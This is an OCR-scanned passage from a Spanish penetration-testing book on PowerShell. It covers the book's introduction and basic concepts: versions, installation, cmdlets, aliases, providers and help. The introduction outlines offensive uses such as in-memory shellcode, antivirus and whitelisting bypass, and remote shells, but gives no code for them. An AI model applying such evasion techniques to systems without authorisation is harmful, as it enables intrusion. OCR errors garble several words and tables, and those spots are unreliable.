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Introduccion &

Introduccion

Powershell ha aumentado exponencialmente su uso en los test de intrusion del sector profesional
de la Seguridad de la Informacién. El motivo por el que Powershell es mas utilizado en los test de
intrusion es debido a todo el potencial que la linea de comandos ofrece, sobre todo. en la etapa de
post-explotacion.

Diversas charlas de muchos investigadores alrededor del mundo explican las ventajas que la linea de
comandos de Microsoft aporta. En muchas ocasiones, un auditor puede encontrarse con mecanismos
que eviten que se pueda lanzar herramientas de auditoria sobre ciertos equipos de una red. La
posibilidad de ejecutar ciertas herramientas o scriprs directamente en memoria, hacen de Powershell
una punto a favor en la auditoria. Ademds. muchos administradores de sistemas y redes pueden
evitar la ejecucion de una cmd, pero por desconocimiento no se prohibe la ejecucion de Powershell.
aunque claramente ésta aporta mucho mas potencial que la emd clasica de Microsofi.

Powershell puede utilizarse también en las fases de gathering y explotacion, sin estar limitado a
la fase de post-explotacion, dénde se saca su mejor provecho. Desde hace unos afios hay muchos
investigadores que han ido creando diferentes firameworks de Powershell aportando diferentes
lunciones y herramientas que ayudan a contemplar estas 3 etapas de un pentest. Durante el desarrollo
del libro se ha enfocado siempre a Powershell como herramienta de auditoria en las 3 fases indicadas
anteriormente.

Fn el primer capitulo se propone una introduccion y un uso bisico de Powershell para aquellos
auditores y pentesters que no hayan trabajado anteriormente con ella. Microsofi propuso una sintaxis
v un modelo de alias similar al de los sistemas UNLY, por lo que el paso de una consola a otra es
rapido. Hay que indicar que Powershell s una consola de objetos y no de srings, como es el caso
de Bash.

En el segundo capitulo se trata el tema del desarrollo de scripts explicando las estructuras basicas y
avanzadas que pueden ser utilizadas para que el lector pueda desarrollar sus propios scripts v exploits.
Ademas, el lector ira guiado con diferentes ejemplos que ayudan y simplifican el aprendizaje de toda
la informacion,

En el tercer capitulo, el cual ocupa gran parte del libro, se detallan las herramientas que existen en
la actualidad con Powershell para llevar a cabo auditorias. Se detallan los diferentes frameworks
¢jemplificando mediante pruebas de concepto cdmo el auditor puede aprovechar el maximo de
¢stos. El nimero de herramientas es alto y se pueden ver diferentes funciones fundamentales en
una auditoria, todas ellas ejecutadas desde Powershell. Ejecutar un mimikatz creado en Powershell,
disponer de una navaja suiza con Powercat, ejecutar una shellcode en memoria, bypassear
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mecanismos de seguridad como antivirus, crear ficheros maliciosos para ataques client-side, reflejar
una Powershell interactiva en remoto para su control, realizar escaneos de puertos de redes sin
necesidad de disponer de nmap, etcétera.

En el cuarto capitulo se presentan diferentes herramientas que hacen uso de Powershell para mejorar
el pentest. Se detallard como Metasploit dispone de un payload interactivo que ofrece la linea de
comandos, como existe un conjunto de scripts que interaccionan con Metasploit, como con SET,
Social Engineering Toolkit, se proporciona codigo de Powershell que puede otorgar el control
remoto de una maquina con acceso fisico, o como existen herramientas en Python que ayudan a
tomar el control de maquinas a través de Powershell.

En definitiva, el libro presenta al pentester que la fase de post-explotacion tiene una nueva vision
gracias a la consola de Microsoft, la cual tiene acceso a todo el sistema operativo de manera sencilla
y & los productos de la empresa de Redmond. Ademds, no hay que olvidar que la fase de gathering
y explotacion también estd contemplada hoy en dia con Powershell.

Capitulo 1. Conceptos basicos de PowerShell

- Capitulo I
Conceptos basicos de PowerShell

1. ;Qué es y qué engloba a PowerShell?

Hace unos aflos Microsojt apostd por un cambio en lo que a lineas de comando se refiere. Con
este cambio llegd PowerShell, la cual es la linea de comandos basada en NET Framework, muy
flexible y con gran potencia. Gracias a esta linea de comandos el usuario puede administrar los
sistemas, tanto locales como remotos, y puede automatizar las tareas mediante el desarrollo de
seripts, gestionando los diferentes productos de la empresa de Redmond.

O (o] O

&4 Windows PowerShell
Windows PowerShell

Copyright <(C)> 28089 Microsoft Corporation. Reservados todos los derechos.

PS C:\Users\bhit> _

Fig. 1.0i: Linea de comandos de PowerShell.

PowerShell amplia de largo las capacidades de interaccidn de la cmd cldsica de Windows y dispone
de caracteristicas o mddulos que aportan nuevas funcionalidades cuando son cargados. Hay que
entender que esta poderosa linea de comandos no es sélo una evolucion de una ¢md, como algunos
usuarios o administradores pueden llegar a pensar. es una de las herramientas mas poderosas para la
gestion de maquinas y dominios Microsoft. Esto hace pensar que llevada al ambito de una auditoria
de seguridad o pentest se pueda pensar que los limites no existen con esta herramienta.

La riqueza que ofrece PowerShell reside en el tratamiento de objetos y no de cadenas de texto, como
ocurre por ¢jemplo en Bash. Este aspecto es innovador, ya que generalmente este tipo de lineas de
comandos hacen tratamiento de cadenas de texto. El manejo de objetos de PowerShell proviene de la
herencia que proporciona .NET Framework. Este framework es muy conocido por los desarrolladores
de aplicaciones pero no es muy trabajado por los administradores u otros profesionales T1.
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2.Instalacion de una PowerShell

PowerShell puede ser instalada mediante ejecutable descargado desde el sitio web oficial de
Microsoft. Hay que tener en cuenta que desde la version de Windows 7 o Windows Server 2008 R2
viene por defecto instalada. Por supuesto en versiones posteriores, como Windows 8, Windows 8.1 o
Windows Server 2012 también,

Pentesting con PowerShell

Los requisitos

El requisito de PowerShell es NET Framework. Esta linea de comandos estd basada en NET
Framework por lo que la instalacién depende totalmente de tener este Jframework instalado en la
maquina.

La versién minima requerida de NET Framework es la 2.0, pero se puede disponer ademas de
versiones superiores. En los sistemas operativos Windows 7y Windows Server 2008 R2 el framework
viene integrado en su version 2.0, 3.0 y 3.5, al igual que viene integrado la version 2.0 de PowerShell.
La version 1.0 de PowerShell no es compatible con Windows 7y Windows 2008 R2,

Windows Vista 'y Windows Server 2008 R2 integran tanto NET Framework 2.0 como el 3.0, siendo
opcional su instalacion la version 3.5. Para instalar PowerShell 1.0 sobre Windows Vista se necesita
descargar su ejecutable e instalarlo. El nombre de los ejecutables son Windows6.0- KB928439- x86.
msu'y Windows6.0- KB928439- x64.msu. en funcién de si es para 32 o 64 bit. Para la instalacion de
la versién 1.0 sobre Windows Server 2008 no se necesita descargar ya que viene integrado pero no
activado, se debe activar como componente adicional.

Para instalar PowerShell 2.0 sobre Vista y 2008 se necesita descargar adicionalmente el ejecutable
desde la pagina web de Microsafi. Hay que recalcar que en Vista se necesita SP1. El nombre de los
ejecutables son Windows6.0- KB968930- x86.msu y Windows6.0- KB968930- x64.msu.

En Windows Server 2003/R2 se necesita instalar manualmente .NET Framework 2.0 y opcionalmente
la version 3.0 y 3.5. Para instalar PowerShell 1.0 sobre Windows Server 2003 se necesita descargar
el ejecutable WindowsServer2003- KB926140-v5-x86- ES.exe desde la pagina web de Microsofi.
Ademas se requiere que esta version del servidor disponga del service pack SP1 como minimo.
Por otro lado en Windows Server 2003 R2 sélo hay que obtener el ejecutable WindowsServer2003.
WindowsXP- KB926139-v2 -x64-ENU.exe y realizar su instalacién.

Para instalar PowerShell 2.0 sobre Windows Server 2003 se requiere que el SP2 se encuentre instalado
sobre el sistema operativo y la descarga del ejecutable WindowsServer2003- KB968930-x86- ES.exe
0 WindowsServer2003- KB968930-x64- ES.exe. Los mismos requisitos son los necesarios para
Windows Server 2003 R2.

En Windows XP se requiere la instalacion de NET Framework 2.0 y opcionalmente las versiones
superiores 3.0 y 3.5. Para la instalacion de PowerShell 1.0 se requiere la descarga del ejecutable
WindowsXP- KB926140- v3-x86- ES.exe y disponer del SP2 instalado como minimo. Para la

Capitulo I. Conceptos basicos de PowerShell

instalacién de PowerShell 2.0 se requiere la descarga del ejecutable WindowsXP- KB96893()- x86-
ES.exe y el service pack SP3 de Windows XP.

Las siguientes URL son para las descargas de PowerShell desde el sitio web de Microsoft:

- PowerShell 1.0 en Windows Vista, http://support.microsofi.com/kb/928439/es.

- PowerShell 2.0 en Windows Vista y Windows Server 2008, hitp.://support.microsaft.com/
kb/968929/es.

- PowerShell 1.0 en Windows XP y Windows Server 2003, http://support.microsoft.com/
kb/926140/es.

- PowerShell 2.0 en Windows XP y Windows Server 2003. http://support.microsofi.com/
kb/968929/es.

Cuando se descarga desde el sitio web de Microsoft alguna version de PowerShell se debe elegir
entre un paquete de instalacion localizado o en inglés. Un paquete de instalacion localizado es una
instalacion de PowerShell para sistemas operativos Windows en aleman, espaiiol, francés. italiano.
japonés, coreano, portugués, ruso, chino simplificado o tradicional.

Por otro lado un paquete de instalacion en inglés se utiliza para los sistemas operativos Windows en
inglés o una versién en un idioma que no se encuentre en ¢l paquete de instalacion localizado.

Hay que recalcar que los paquetes de idioma MUL, (Mulftilingual User Interface), son necesarios si
se esta ejecutando una version multilingiie de la interfaz de usuario de Windows. Para estos paquetes
de idioma, se debe instalar en primer lugar la version de PowerShell y a continuacion el paquete

MUL.

tomire detarcive L

WindowsServer2003-KB926 140-v5-x86-ESN.exe 1.7 M8

Detalles rapidos

Version: 926140 }
\ >
Fecha de publicacion: 23/06/2008 <o
Cambiar idioma: | £spariol B ‘Cambiar
Aleman ) : Internet Explorer. Hay una
Tiempo de descarga estimado: Chino (simplificada) 4 min nueva version de tu
Chino {tradicional} na:;g:ﬁ:;br?g tu
Artiaulos de soporte Coreano e KB925140 Dieschrpatels aci
Francés
Ing'és
e, taliano
Jsponés
- Portugués (Brasl)
Informacion general Aiisa
Fig. 1.02: Eleccion de idioma en la descarga de PowerSheil.
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3. ;Coémo puede ayudar en un pentest?

Un pentester tiene miles de situaciones, condiciones y ambientes diferentes. Por esta razén. cuando
uno se enfrenta a un entorno en el que no se puede disponer de ciertas herramientas para la realizacion
del pentest se debe utilizar el potencial de la imaginacién para conseguir los objetivos propuestas
con anterioridad.

El congreso Qurtuba Security Congress de la ciudad de Cérdoba tuve la posibilidad de presentar
una charla en la que se mostraba como gracias a herramientas nativas de los sistemas operativos
Microsofi de Gltima generacion se puede ejecutar cualquier tipo de cédigo, a través de la linea de
comandos PowerShell. De este modo, no se echara en falta la no posibilidad de ejecutar herramientas
clasicas como nmap, cain & abel, foca, etcétera. El nombre de la charla que presenté se denominé
“Give me a PowerShell and I will move your world”.

Hay que analizar algunas charlas que se han llevado a cabo, sobretodo en clasicas como Shmoocon o
Black Hat. para entender toda la potencia que PowerShell ofrece en un pentest. Ademas, conociendo
algunos métodos para llevar a cabo un bypass de las politicas de ejecucion de cadigo de PowerShell y
Jjugando con los firameworks que han ido apareciendo, como PowerSploit, Nishang o Posh-SecMod,
se puede montar un pequeiio bor (til para entornos dificiles, entornos con alta monitorizacion de
elementos de seguridad o entornos a los cuales el hor pudiera acceder, pero no asi el pentester. Esto
es una de las cosas que se presentaba en el trabajo indicado anteriormente en Qurtuba Security
Congress.

¢Para qué es muy potente PowerShell en un pentest? A continuacién, se enumeran las diferentes
acciones que pueden llevarse a cabo nativamente desde la linea de comandos de Microsofi:

- Ejecucidn de codigo.
- No generacion de demasiado trafico o éste pasa desapercibido.
- Posibilidad de utilizacion de proxies.

- Evasion de elementos de seguridad, como puede ser el antivirus, un IDS, Intrusion
Detection System, o un IPS, Intrusion Prevention System.

- Modificacion de scripts o binarios.

- Etapa de descubrimiento y recopilacién de informacion del entorno.

- Encapsulacion de tréfico.

- Conectividad y pivoting.

- Escaneo de puertos y fingerprinting.

- Evitar las whitelisting de aplicaciones. En ciertos entornos se puede tener configurado una

lista blanca de aplicaciones que pueden ser ejecutadas. Los seripis se lanzaran a través de
PowerShell, pudiendo evitar esta lista blanca.

En resumen, el pentester puede encontrarse en condiciones y un entorno dificil, en el cual no dispone
de herramientas. La tinica, y mas que suficiente, herramienta que dispone de forma nativa en los
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equipos a los que tiene acceso es PowerShell. Con esta herramienta se podrian hacer muchas cosas, e
interactuar con gran cantidad de productos de Microsoft, por lo que el pentest puede llevarse a cabo.
Ademas, gracias a los frameworks énunciados anteriormente, existe gran cantidad de herramientas
con codigo PowerShell que facilitan estas tareas.

4.Versiones

Hasta la versién de Windows 8.1 existen 4 versiones liberadas de PowerShell. Se espera que con
Windows 10 se libere la versién 5 de PowerShell. Para conocer la version de PowerShell que ejecuta
una maquina se puede utilizar el comando Get-Host, el cual proporciona diferente informacion sobre
el entorno.

En muchos libros o articulos en Internet se puede leer como definen a PowerShell como la nueva
linea de comandos de Microsoft. Este es un dato erréneo ya que el proyecto comenzo en el aiio 2003
bajo el nombre de MONAD. En 2006 fue lanzada al piblico con el nombre oficial de PowerShell 1.0.

PowerShell 1.0

Lanzada en Abril de 2006 para aumentar las capacidades y las limitaciones del CMD clasico a la vez
que cubria ambitos a los que la consola cldsica de Microsoft no se acercaba.

Una de las caracteristicas mas interesantes que presentd PowerShell fue la manipulacion de objetos
respecto a otras shell, las cuales manipulan cadenas de texto. Esto implica la posibilidad de disponer
de propiedades dentro de los objetos otorgando mayor riqueza semantica al lenguaje de scripring y
a la interaccion con la maquina.

PowerShell present6 129 utilidades estandar, también conocidos como cmdlets de los cuales se
hablara mas adelante. Con los cmdlets se puede realizar distintas tareas administrativas como
gestionar el registro, el sistema de archivos, monitorizar procesos, etcétera.

PowerShell 2.0

l.anzada en Julio de 2009 proporciond bastantes cambios y mejoras a la versién 1.0. Algunas de las
nuevas caracteristicas son las siguientes:

- Interaccion remota con une o varios equipos.

- Entorno gréafico denominado PowerShell ISE. Integrated Scripting Environment.

- Médulos para mejorar el desarrollo del codigo, creando unidades independientes.

- Nuevos emdlets. La version 2.0 introduce mas de 100 emdlers integrados nuevos respecto
a la version 1.0.

- Ejecucion en segundo plano de un trabajo.
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PowerShell 3.0
Las caracteristicas que marcan esta version son las siguientes:
- Flujos de trabajo.
- PowerShell Web Access.
- Nuevas caracteristicas en el entorno de desarrollo PowerShell ISE.
- Integracién de CIM.
- Nuevas caracteristicas de Windows PowerShell.
- Carga automdtica de modulos.
- Compatibilidad con RunAs y host compartido.
- Nuevas API de cmdlets.

PowerShell 4.0
Las caracteristicas que marcan esta version son las siguientes:
- Nuevas caracteristicas de Windows PowerShell.
- Nuevas caracteristicas del entorno de desarrollo y mejoras en PowerShell ISE,
- Mejoras en los flujos de trabajo introducidos en la versién anterior.
- Nuevas caracteristicas de servicios web en PowerShell.
- Mejoras en PowerShell Web 4ccess.

- Correccion de errores en versiones anteriores.

5. Lo mas basico: Comenzando

En este apartado se explican los conceptos més importantes, los cuales se utilizardn y leeran durante
el contenido del libro. Estos conceptos y definiciones son los pilares basicos sobre los que PowerShel|
se asienta para otorgar al pentester todas las posibilidades

Cmdlet

Un emdlet es una instancia de una clase de .NET Framework, aunque en este libro se les llame
comandos en algunas ocasiones. Un emdler procesa objetos de entrada desde una canalizacién de
objeto en vez de desde una secuencia de texto. Este no analiza sus propios argumentos ni especifica
una presentacion de errores. Esto simplifica el proceso de creacién de un emdlet.

Estos comandos estan orientados a realizar una tarea concreta manipulando para ello objetos de
PowerShell. El disefio de PowerShell hace que sea sencillo reconocer un cmdlet ya que éstos tienen
un formato orientado al lenguaje natural.

Los nombres de los cmdlet constan de 2 partes, <verbo>-<nombre>. La parte del verbo indica la
accion que se va a realizar con la ejecucion del emdlet y la parte del nombre indica el recurso sobre el
que el cmidlet realizard la accion. Todos los emdlet disponen de este sencillo formato mnemotéenico.
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La ejecucion de un emdlet no es case sensitive, por lo que es independiente de si se escribe en
vm\';'mculas o minusculas. No es necesario aprender todos los emdlet que PowerShell contiene ya
2 5 ) y . .

que se dispone de herramientas para obtener los distintos cmdlet.

Alias

Los alias son mecanismos que facilitan la interaccion c’0n la linea de comandos. Los alias
proporcionan un método para recordar un cmdlet 0 expresiones con otro nom‘brc. con el cua! el
usuario se siente mas identificado. Esta linea de comandos proporciona por defecto diversos alias,
los cuales el usuario puede visualizar a través del cmdlet Get-Alias.

PS C:\Users\hit> Get-fAlias
Definition

ForEach-Object
Where-0Ohject
Add-Content
Add-PSSnapln
Get—Content
Set-Location
Set—-Location
Clear-Content
Clear-Host
Clear-History
Clear-Item
Clear—ItemProperty
Clear-Host
Clear-Uariable
Compare—Obhject
Copy—-Item
Copy-Item
Copy—Item
Copy-ItemProperty
Convert—Path
Disable—PSBreakpoint
Remove—Item
Compare-Object
Get-Childltemn
Enahle—-PSBreakpoint
Wpite-Output
Export-Alias

Fig. 1.03: Efecucion del emldet get-alias y obtencion de los alias disponibles.

Al ejecutar un alias en PowerShell se ejecuta un emdlet o funcion que se encuentra asociado al alias
nvocado. Ademas, se puede ejecutar el cmdlet Get-Alias en la linea de comandos para conocer que

emdler estan asociados a los alias.

Muchos usuarios o pentesters estan acostumbrados a utilizar shells en entornos como GNU/Linux.
En PowerShell, para lograr una transicion o un acomodamiento a la sintaxis, existen facilidades
mnemotécnicas como de accesibilidad. De esta forma el usuario tendra un trabajo mas facil en el uso
de esta linea de comandos. El mundo *NZY ha sido ojeado por la parte de Microsoft para configurar
alias por defecto cercanos a los comandos que se puede encontrar en el mundo *N/X. Con esta
accion se ha conseguido que el paso del mundo UNIX a PowerShell sea méas sencillo.




Pentesting con PowerShell

Comandos *NIX y CMD en PowerShell

Los usuarios y pentesters que utilizan sistemas UNLX que lleguen a PowerShell pueden utilizar los
alias como estrategia para hacer una transicion més sencilla.

A continuacién se muestran diferentes alias utilizados en PowerShell y los cmadlets asociados a
dichos alias.

Alias *NIX Cmdlet
Is ger-childitem
ed set-location
cat get-content
my move-item
history get-history
alias get-alias

Tabla 1.04: Ejemplo de alias UNIX y su emdlet equivalente,

Desde PowerShell se puede lanzar una cmd y los comandos de ésta también, ya que al final son
ejecutables o ficheros exe que eran invocados.

Provider

El provider o proveedor es una aplicacion basada en .NET Framework la cual facilita el tratamiento
de los datos. Los datos seran mostrados en un almacén para que puedan ser gestionados de manera
sencilla. El usuario puede navegar por el almacén como si se tratase del sistema de ficheros, esta
aplicacion consigue que la gestion del registro, entre otros, sea muy sencilla en PowerShell.

En PowerShell se disponen de distintos tipos de proveedores. En la siguiente tabla se pueden
visualizar de proveedores que se pueden encontrar en PowerShell, y que pueden ser utiles. Hay que
recordar que en la parte de desarrollo de scripts, se puede necesitar de estos providers para realizar
acciones lo més sencillo posible. Ademas, los frameworks que se estudiardn més adelante y que
ayudan a la realizacién de un pentesting con PowerShell utilizan, entre otras muchas cosas, este tipo
de aplicaciones.

Proveedor Descripcion Comando
: Acceso a los alias que en el entorno de _— :
Alias set-location alias:
PowerShell y sus valores
. Acceso a certificados y almacenes de i
Certificados 5 3 - set-location cert:
certificados X509. Sélo lectura

RS de Windows {HKCU, HKLM}:
3 inft 16n de configuracion g
WSMan A\gaeno;a g miurmasion g set-location wsman:
de WSMan
i el entorno de g "
Variables Aeceso a las yeriablesd set-location variable:
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Proveedor Descripeion Comando

Acceso a las variables de entorno de

‘ntorno :

Entory Windows

El proveedor bésico. Acceso a archivos y
directorios

set-location env:

Sistema de archivos set-location <unidad>

Acceso a las claves y valores del registro set-location

PowerShell y sus valores

Acceso a las funciones definidas en el

: set-location function:
entorno de PowerShell

Funciones

Tabla 1.02: Definiciones de los proveedores por defecto.

ps C:\Users\bit> Set-Location hkcu:
PS HKCU:\> Get-ChildIlten

Hive: HKEY_CURRENT_USER

Property

& -
{ColorTable@B,. ColorTableBl, ColorTahleBd2, ColorTableB3...>
)- :

Jontrol Panel > &
3 !Evlt:i:znxvxtzr:;:I {TEMP, THMP, MOZ_PLUGIN_PATH>

B £

ll:ggstities {Identity Ordinal, Migrated?, Last Username, Last User ID...>
Keyboard Layout &

Netuwork
Printers
Sof tuare
Systen

O
Uolatile Environment {LOGONSERVER, USERDOMAIN, USERNAME. USERPROFILE...>

PS HKCU 2N\>
Fig. 1.04: Ejecucion de un proveedor que permite gestionar el registro en la rita HKCU.

El comando Ser-Location permite moverse entre directorios, si por ejemplo la linea de comandos
se encuentra en el proveedor del sistema de archivos. También permite cambiar entre proveedores a
alguno de los que se encuentran en la tabla anterior.

Ademds, un usuario puede utilizar los diferentes alias para este comando, como son chdir o cd.

PS C:\Users\bit> Get—flias —Definition set—location

Name Definition

cd Set—Location
chdir Set—Location
sl Set—Location

Fig. 1.03: Obtencion de los alias de set-lacation.
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Parametros

Los parametros son modificadores que se afiaden a un cmdlet para cambiar el modo de ejecucion de

dicho comando. En otras palabras, un emdlet puede realizar distintas subtareas dentro de su tarea
principal y los parametros activan dichas subtareas. Los parametros son afadidos después de la
llamada al emdler y precedidos de un guion, <cmdler> -parametro | -parametro 2 ... -pardmetro
N. Resulta muy interesante entender que los pardmetros de PowerShell son, casi en su totalidad,
nombres coherentes.

PS C:\Users\bit> Get—-fllias —Name w»

Name

where Where—-0Object
wih Hait—Joh
write Wirite—Output

Fig. 1.06: Ejecucidn de get-alias con el parametro name para el filtrado de la salida.

Los pardmetros pueden ser clasificados por la funcién que desempefan. A continuacidn se muestra
la clasificacion:
- Parametro de ayuda. Este tipo esté presente en todos los emdlets. Para invocarlo se debe

indicar -?. Cuando se realiza esta accién el emdlet no se ejecuta, pero PowerShell muestra el
contenido de la ayuda asociado al comando.

- Parametros dinamicos. Estos parametros se afadirén a los cmdleis. a los propios scripts,
proveedores o funciones, siempre y cuando se cumplan ciertas condiciones.

- Parmetros comunes. Son pardmetros que se compartan siempre de la misma manera.
siempre y cuando el cmdlet los implemente, Los pardmetros comunes son Whatlf, Confirm,
Verbose, Debug, Warn, Errordction, ErrorVariable, OutVariable y OutBuffer.

- Parametros conmutados o switch parameter. Estos parametros funcionan como
interruptores, es decir, pueden ir activados en la gjecucion del emdlet o funcién o no aparecer.
Ademas. este tipo de pardmetros pueden recoger un argumento o no. Estos parametros son

muy utilizados en funciones para poder ejecutar diferentes comportamientos, a través de
valores hooleanos.

- Conjuntos de pardmetros. Este grupo de parametros son utilizados en un mismo cmdlet
para llevar a cabo una accion concreta.

Archivos

Los archivos son algo fundamental para cualquier sistema, ya que es la manera mas sencilla de
almacenar los datos de forma persistente. Los distintos formatos en los que la informacién puede
ser presentada también es importante y esta linea de comandos los valora. En PowerShell se puede
observar distintos tipos de archivos. Entre los mas importantes o interesantes se encuentran:

- Archivo de datos. Este archivo dispone de extension .psdl y se realiza para diversos
propositos, almacenar el manifiesto de un moédulo o almacenar los Strings para la
internacionalizacién del script.

Capitulo I. Conceptos basicos de PowerShell 25

- Archivo de madulo. Este archivo tiene extensién .psml y contiene un seripr. Este script
define los miembros que se exportan de €l.

- Archivo de formato. El archivo utiliza una extension del tipo . format.ps Ixmnl y proporciona
una definicion de como PowerShell debe mostrar un objeto.

- Archivo de script. Este es el mas bdsico de todos, ya que con.li'cnc .Iz.is lineas que
implementan las funcionalidades que se quieren aglomatizar. 'I.a extension uuh7:ac.la ‘p(_wr gste
tipo de archivos es .ps/. En otras palabras, este tipo de archivos contiene el codigo que se
ejecutard en PowerShell.

- Archivo de tipo. Este archivo dispone la extension .psixml y se encarga de heredar las
propiedades de los tipos de .NET Framework.

Es importante tener en cuenta que siendo la primera vez que se ejecute PowerShell el usuario se
encontrard con la negacién de la linea de comandos al ejecutar un script. Esto es debld(.\' a que
la politica de seguridad definida por defecto en PowerShell es la de restricted. lo cual evitara la
ejecucion de cualquier script.

Pipe y pipeline

Un pipe tiene una definicion cldsica, y no es mas que una tuberia que conecta la salida de un proceso
con la entrada de otro. Dicho de otro modo, el resultado del procesamiento de un cmdlet puede salir,
a través del pipe, y ser la entrada de otro emdlet. Un ejemplo sencillo seria el siguiente <cmdler 1>

<cmdlet 2.
El pipeline es el conjunto de emdler que envian sus resultados a otro cmdlet. En otras palubras. se
conecta la salida por pantalla que devuelve el cmdlet 1 a la entrada del cmdlet 2. éste gjecuta y los
resultados los envia al emdlet 3. Este proceso se repite en funcion del nimero de concatenaciones
que el usuario requiera.
PS C:\Users\bit> Get—Process | sort —-Descending id ! Select-Object —First 4

ProcessName

NPMCKD> WS CK> UMCMD CPUCsD

34 87804 116320 2 chrone
34 2324 8916 4 ?;SIE’EE‘SC
15 41328 53264 chre

16 608348 20388 suchost

Fig. 1.07: Ejecucién en un pipeline

Moédulos

Los modulos en PowerShell son paquetes que permiten extender y disponer de escalabilidad en el
lenguaje de scripting y la propia interaccion con la shell. Los médulos agrupan 9[1‘05 .s'criprsl. ('.m(//e»m‘
o funciones permitiendo compartir otras funcionalidades sin tener que rescribirlas en el codigo del
script.

Sobre todo en las versiones servidor de Windows la linea de comandos proporciona diferentes
médulos al usuario. Estos modulos proporcionan funcionalidad extra e interesante para llevar a cabo
la gestion de sistemas y productos Microsoft. También pueden ser ttiles en escenarios de pentesting.
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Los moédulos, en general, son muy utiles para compartir y beneficiar a otros usuarios. Existen
cientos de funcionalidades que pueden ser compartidas gracias a la importacién de médulos en
PowerShell. Simplemente, hay que recordar los frameworks de pentesting disponibles en la red, y
que proporcionan cientos de funcionalidades que pueden ser utilizadas.
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Para visualizar los médulos disponibles se ejecutarfa el cmdler ger-module con el parametro
ListAvailable, de la siguiente manera get-module -ListAvailable.

6.La ayuda en PowerShell al detalle

La ayuda en la linea de comandos es fundamental. Hoy dia se dispone de Internet y todos los
recursos que éste ofrece, como la parte Technet de Microsoft, pero en muchas ocasiones, lo mas
répido es utilizar la ayuda que viene con la propia linea de comandos. PowerShell proporciona una
ayuda clasificada por extension de informacion, es decir, se podra obtener informacién con mayor o
menor detalle, e incluso con ejemplos.

Existe un cmdlet que ejecuta la tarea de la ayuda denominado ger-help. Existe la funcion help que
es muy ttil como se verd posteriormente. Existen también alias como marn, nomenclatura cercana a
los entornos *N/X. Y también se dispone del parametro, comiin a todos los emdlet, -? con el que el
usuario puede revisar la ayuda del emdler en cuestion.

Hay que recalcar que la ayuda viene en el idioma de la version instalada, esto ayudara a muchos
usuarios a poder entender mejor el funcionamiento de PowerShell.

Existen 3 niveles de profundidad en la ayuda de PowerShell:

- Ayuda por defecto o estandar. Cuando se ejecuta el emdlet get-help, alguno de sus alias o
el parametro de ayuda, éste es el tipo de ayuda que se ofrece para la visualizacién por parte
del usuario. No incluira ejemplos en la ayuda.

- Ayuda en detalle o detallada. La informacién que se ofrece es considerablemente
mayor que en la ayuda estandar. Se ofrece gran cantidad de ejemplos de uso sobre la ayuda
requerida. Esta ayuda se obtiene ejecutando el pardmetro detailed en la peticién de la ayuda,
por ejemplo, ger-help <comando> -detailed.

- Ayuda completa. La informacion que se ofrece es, también, mayor que en la ayuda
estandar. Ademds ofrece informacion técnica sobre la ayuda requerida. Para obtener esta
ayuda se debe ejecutar get-help <comando> -full.

Otra opcién para mostrar ejemplos directamente es utilizar el parametro examples, a través de la
siguiente instruccion Ger-Help <comando> -examples. Ademas, la ayuda en PowerShell proporciona
mas informacion que la que se ofrece de los emdlet. Una opcidn es ejecutar el alias help * y se
obtendrd una lista con todos los nombres, categorfas y sinopsis. En el capitulo de scripting puede
ser util la ayuda de las estructuras condiciones o de bucles. Para invocarlas se puede ejecutar la
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instruccion Aelp if. Cuando se obtiene una pagina de ayuda, ésta se divide en apartados correctamente
formateados para que su visualizacién y entendimiento no supongan un problema.

;Help o get-help?

Help permite visualizar de manera sencilla las paginas de ayuda de la lil}ea de' comando§, ya que
la salida de la funcién help proporciona las paginas formateadas. Proporciona dlferentgs mveles.de
profundidad, como puede ser en detalle o completa. El cmdlet Get-Help saca tgda la informacion
por la salida estandar de la linea de comandos, es decir por pantalla, sin ningtin tipo de formato. De
esta manera se puede entender que help y Get-Help pueden parecer iguale?af, pero no lo son. 'Para
equiparar a Get-Help con la funcién help se podria utilizar un pipe y la funcion more de la siguiente
manera Get-Help <cmdlet> -detailed | more.

Categorias
Cuando se ejecuta la sentencia Ger-Help * se obtiene una columna que es categoria. Esta columna
indica qué es realmente sobre lo que se solicita la ayuda. Se puede observar que no solo existe ayuda

para los cmdlet.
Las distintas categorias de la ayuda en PowerShell son las siguientes:

- Cmdlet.

- Proveedores.

- Funciones.

- Alias.

- Archivo de ayuda.

Los archivos de ayuda son muy interesantes ya que ofrecen informacion detallada, por ejemplo,
sobre los componentes sinticticos del lenguaje de scripting de PowerShell. Vienen definidos con
una gran cantidad de gjemplos.

Atajos de teclado

Siempre han sido dtiles en el dia a dia los atajos de teclado, y mas en un mundo en el que el tiempo
cada vez es mas necesario. Por este tipo de razones se hace hincapié en como pueden hacerse uso de
¢stos en la linea de comandos PowerShell. Al principio, estos atajos pueden ser dificiles de recordar,
pero su uso en el dia a dia facilitara la rapida interaccion con la linea de comandos.

Hay diferentes tipos de atajos de teclado, todos ellos realmente interesante. El primero de ellos que
s¢ presenta es el uso del tabulador, al igual que se hace en Bash. A partir de ahora al tabulador se
le denominara tab. Con la tecla fab el usuario puede autocompletar o ver las coincidencias con lo
que estd buscando. El funcionamiento de fab mediante un ejemplo es sencillo, se escribe ger y al
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pulsar sobre tab se ira visualizando las distintas posibilidades de coincidencia con los cmdler. Tab es
aplicable a parametros y otros elementos del entorno de PowerShell. Otro de los atajos interesantes
y utiles es CTRL + Flecha derecha / izquierda. Esta combinacién permite al usuario recorrer una
sentencia palabra a palabra. Ademas, el curso es colocado al principio de cada una de las palabras.

Las teclas F7, F8 y F9 proporcionan acceso rapido al histérico de instrucciones ejecutadas. La tecla
F7 proporciona al usuario un listado, mediante la visualizacién de un cuadro de dialogo en consola,
de las tiltimas instrucciones ejecutadas en el entorno actual. La tecla F8 introduce en la misma linea
de comandos las tiltimas instrucciones, para que directamente el usuario pueda ejecutarlas. La tecla
F9 pregunta, mediante un cuadro de didlogo en el entorno, por el niimero asociado a la instruccién
que se puede visualizar con F7.

Mis atajos interesantes con CTRL + C, con el cual la ejecucion de un proceso es finalizada. Ademas,
la tecla INICIO y FIN del teclado, sitiian el cursor al principio o al final de la linea de comandos.
Esto es interesante, sobre todo si la instruccién es larga y se requiere cambiar algo. Por (iltimo, la
flecha arriba y abajo permite realizar un desplazamiento por el histérico de instrucciones que han
sido ejecutadas con anterioridad por el usuario.

7.Seguridad en PowerShell

Hoy en dia la seguridad ha comenzado a ser importante en un entorno empresarial, e incluso para
muchos usuarios su privacidad y confidencialidad es una cuestién importante en sus vidas. Por estas
razones, la seguridad informética intenta evitar que los datos e informacién més sensible queden
en mano de los usuarios maliciosos. Se utilizan politicas para evitar que ciertos grupos de usuarios
